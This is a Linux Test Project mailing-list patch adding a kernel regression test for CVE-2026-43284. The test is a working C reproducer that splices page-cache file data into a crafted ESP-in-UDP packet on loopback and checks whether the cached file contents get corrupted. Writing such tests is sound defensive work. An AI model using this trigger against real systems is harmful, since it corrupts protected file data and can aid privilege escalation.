[LTP] [PATCH 3/3] network/sockets: Add xfrm ESP page cache corruption test

Andrea Cervesato andrea.cervesato@suse.de
Fri May 8 11:17:36 CEST 2026


From: Andrea Cervesato <andrea.cervesato@suse.com>

Add xfrm01 reproducer for CVE-2026-43284. When file data is spliced
into a UDP socket with ESP-in-UDP encapsulation, the kernel decrypts
the ESP payload in-place on page cache pages, corrupting cached file
contents.

The test sets up an ESP-in-UDP xfrm state on loopback, writes known
data to a file, splices it into a crafted ESP packet, and verifies
whether the page cache was corrupted.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve                          |   1 +
 testcases/network/sockets/.gitignore |   1 +
 testcases/network/sockets/xfrm01.c   | 246 +++++++++++++++++++++++++++++++++++
 3 files changed, 248 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index 74300fb546a071ef2d1de3a02549eed35c9a57a4..530f8751ed3a8e8aa7e9110d89d577df3e8cc6ce 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -94,3 +94,4 @@ cve-2022-4378 cve-2022-4378
 cve-2025-38236 cve-2025-38236
 cve-2025-21756 cve-2025-21756
 cve-2026-31431 af_alg08
+cve-2026-43284 xfrm01
diff --git a/testcases/network/sockets/.gitignore b/testcases/network/sockets/.gitignore
new file mode 100644
index 0000000000000000000000000000000000000000..6f3c0ad84c000f0214f371c6a601afb592b15faa
--- /dev/null
+++ b/testcases/network/sockets/.gitignore
@@ -0,0 +1 @@
+/xfrm01
diff --git a/testcases/network/sockets/xfrm01.c b/testcases/network/sockets/xfrm01.c
new file mode 100644
index 0000000000000000000000000000000000000000..940d20ed3197f7d054414d662cb49b7be017b88e
--- /dev/null
+++ b/testcases/network/sockets/xfrm01.c
@@ -0,0 +1,246 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Test for CVE-2026-43284 fixed by:
+ * f4c50a4034e6 ("xfrm: esp: avoid in-place decrypt on shared skb frags")
+ *
+ * When file data is spliced into a UDP socket, the kernel uses
+ * MSG_SPLICE_PAGES to reference page cache pages directly in the skb.
+ * If the receiving socket has UDP_ENCAP_ESPINUDP enabled and a matching
+ * xfrm SA exists, the kernel's :manpage:`esp_input(7)` decrypts the
+ * ESP payload in-place on those page cache pages, corrupting the cached
+ * file contents.
+ *
+ * The test sets up an ESP-in-UDP xfrm state on loopback, writes known
+ * data to a file, splices the file data between a crafted ESP header
+ * and a fake ICV into a UDP socket, and then verifies whether the page
+ * cache was corrupted.
+ *
+ * Reproducer based on:
+ * https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "tst_net.h"
+#include "lapi/udp.h"
+#include "lapi/splice.h"
+
+#define TESTFILE "pagecache_test"
+#define ATKFILE "atk_data"
+
+#define DATA_SIZE 4
+#define SPI 0xdeadbeef
+#define ENC_PORT 4500
+#define IV_LEN 8
+#define ESP_HDR_SIZE 16
+#define ICV_SIZE 16
+#define AES_KEYLEN 16
+#define SALT_LEN 4
+#define KEYTOTAL (AES_KEYLEN + SALT_LEN)
+
+#define XFRM_CMD \
+	"ip xfrm state add" \
+	" src 127.0.0.1 dst 127.0.0.1" \
+	" proto esp spi 0x%08x" \
+	" encap espinudp %d %d 0.0.0.0" \
+	" aead 'rfc4106(gcm(aes))' %s 128" \
+	" replay-window 32"
+
+static const uint8_t original[DATA_SIZE] = { 'T', 'E', 'S', 'T' };
+
+static const uint8_t aead_key[KEYTOTAL] = {
+	0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+	0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
+	0x10, 0x11, 0x12, 0x13
+};
+
+static int file_fd = -1;
+static int recv_fd = -1;
+static int send_fd = -1;
+static int atk_fd = -1;
+static int pipefd[2] = { -1, -1 };
+
+static void setup(void)
+{
+	char keyhex[KEYTOTAL * 2 + 3];
+	char cmd[512];
+	int i, ret;
+
+	tst_setup_netns();
+
+	const char *const lo_cmd[] = {
+		"ip", "link", "set", "lo", "up", NULL
+	};
+
+	ret = tst_cmd(lo_cmd, NULL, NULL, TST_CMD_PASS_RETVAL);
+	if (ret)
+		tst_brk(TBROK, "Failed to bring up loopback interface");
+
+	keyhex[0] = '0';
+	keyhex[1] = 'x';
+	for (i = 0; i < KEYTOTAL; i++)
+		sprintf(keyhex + 2 + i * 2, "%02x", aead_key[i]);
+
+	snprintf(cmd, sizeof(cmd), XFRM_CMD, SPI, ENC_PORT, ENC_PORT, keyhex);
+
+	ret = tst_system(cmd);
+	if (ret)
+		tst_brk(TBROK, "Failed to install xfrm ESP state");
+}
+
+static void try_corrupt(void)
+{
+	struct sockaddr_in addr = {
+		.sin_family = AF_INET,
+		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
+		.sin_port = htons(ENC_PORT),
+	};
+	uint8_t esp_hdr[ESP_HDR_SIZE] = { 0 };
+	uint8_t icv[ICV_SIZE] = { 0 };
+	uint32_t spi_net = htonl(SPI);
+	uint32_t seq_net = htonl(1);
+	int encap = UDP_ENCAP_ESPINUDP;
+	loff_t off;
+
+	memcpy(esp_hdr, &spi_net, sizeof(spi_net));
+	memcpy(esp_hdr + 4, &seq_net, sizeof(seq_net));
+
+	/*
+	 * ESP header and ICV must be on different pages so that the
+	 * target file's page sits in its own frag slot in the skb.
+	 */
+	atk_fd = SAFE_OPEN(ATKFILE, O_RDWR | O_CREAT, 0600);
+	SAFE_WRITE(SAFE_WRITE_ALL, atk_fd, esp_hdr, ESP_HDR_SIZE);
+	SAFE_LSEEK(atk_fd, 4096, SEEK_SET);
+	SAFE_WRITE(SAFE_WRITE_ALL, atk_fd, icv, ICV_SIZE);
+	SAFE_FSYNC(atk_fd);
+
+	/* Evict attacker pages so splice gives fresh page references */
+	SAFE_POSIX_FADVISE(atk_fd, 0, 0, POSIX_FADV_DONTNEED);
+	SAFE_CLOSE(atk_fd);
+
+	atk_fd = SAFE_OPEN(ATKFILE, O_RDONLY);
+
+	/* UDP socket that will trigger ESP decryption on received data */
+	recv_fd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0);
+	SAFE_SETSOCKOPT(recv_fd, IPPROTO_UDP, UDP_ENCAP,
+			&encap, sizeof(encap));
+	SAFE_BIND(recv_fd, (struct sockaddr *)&addr, sizeof(addr));
+
+	send_fd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0);
+	SAFE_CONNECT(send_fd, (struct sockaddr *)&addr, sizeof(addr));
+
+	SAFE_PIPE(pipefd);
+
+	/*
+	 * Build the ESP packet in the pipe: header + target file
+	 * data + ICV. The splice for the target file places its page
+	 * cache page directly into the pipe buffer.
+	 */
+	off = 0;
+	SAFE_SPLICE(atk_fd, &off, pipefd[1], NULL,
+		    ESP_HDR_SIZE, SPLICE_F_MORE);
+
+	off = 0;
+	SAFE_SPLICE(file_fd, &off, pipefd[1], NULL,
+		    DATA_SIZE, SPLICE_F_MORE);
+
+	off = 4096;
+	SAFE_SPLICE(atk_fd, &off, pipefd[1], NULL, ICV_SIZE, 0);
+
+	/*
+	 * Splice pipe into UDP socket. The kernel uses MSG_SPLICE_PAGES
+	 * to keep the page cache references in the skb. On loopback
+	 * the recv socket's ESP handler decrypts in-place, corrupting
+	 * the page cache. May fail on patched kernels, so don't use
+	 * SAFE_SPLICE here.
+	 */
+	splice(pipefd[0], NULL, send_fd, NULL,
+	       ESP_HDR_SIZE + DATA_SIZE + ICV_SIZE, 0);
+
+	SAFE_CLOSE(pipefd[0]);
+	SAFE_CLOSE(pipefd[1]);
+	SAFE_CLOSE(recv_fd);
+	SAFE_CLOSE(send_fd);
+	SAFE_CLOSE(atk_fd);
+}
+
+static void run(void)
+{
+	uint8_t readback[DATA_SIZE];
+
+	file_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
+	SAFE_WRITE(SAFE_WRITE_ALL, file_fd, original, DATA_SIZE);
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	try_corrupt();
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	SAFE_READ(1, file_fd, readback, sizeof(readback));
+	SAFE_CLOSE(file_fd);
+
+	if (memcmp(readback, original, DATA_SIZE) != 0)
+		tst_res(TFAIL, "Page cache was corrupted via xfrm ESP splice");
+	else
+		tst_res(TPASS, "Page cache was not corrupted");
+
+	SAFE_UNLINK(TESTFILE);
+	SAFE_UNLINK(ATKFILE);
+}
+
+static void cleanup(void)
+{
+	if (pipefd[0] != -1)
+		SAFE_CLOSE(pipefd[0]);
+
+	if (pipefd[1] != -1)
+		SAFE_CLOSE(pipefd[1]);
+
+	if (recv_fd != -1)
+		SAFE_CLOSE(recv_fd);
+
+	if (send_fd != -1)
+		SAFE_CLOSE(send_fd);
+
+	if (atk_fd != -1)
+		SAFE_CLOSE(atk_fd);
+
+	if (file_fd != -1)
+		SAFE_CLOSE(file_fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.min_kver = "6.4",
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS=y",
+		"CONFIG_NET_NS=y",
+		"CONFIG_XFRM",
+		"CONFIG_INET_ESP",
+		"CONFIG_CRYPTO_GCM",
+		NULL
+	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP},
+		{}
+	},
+	.needs_cmds = (struct tst_cmd[]) {
+		{.cmd = "ip"},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "f4c50a4034e6"},
+		{"CVE", "2026-43284"},
+		{}
+	},
+};

-- 
2.51.0



More information about the ltp mailing list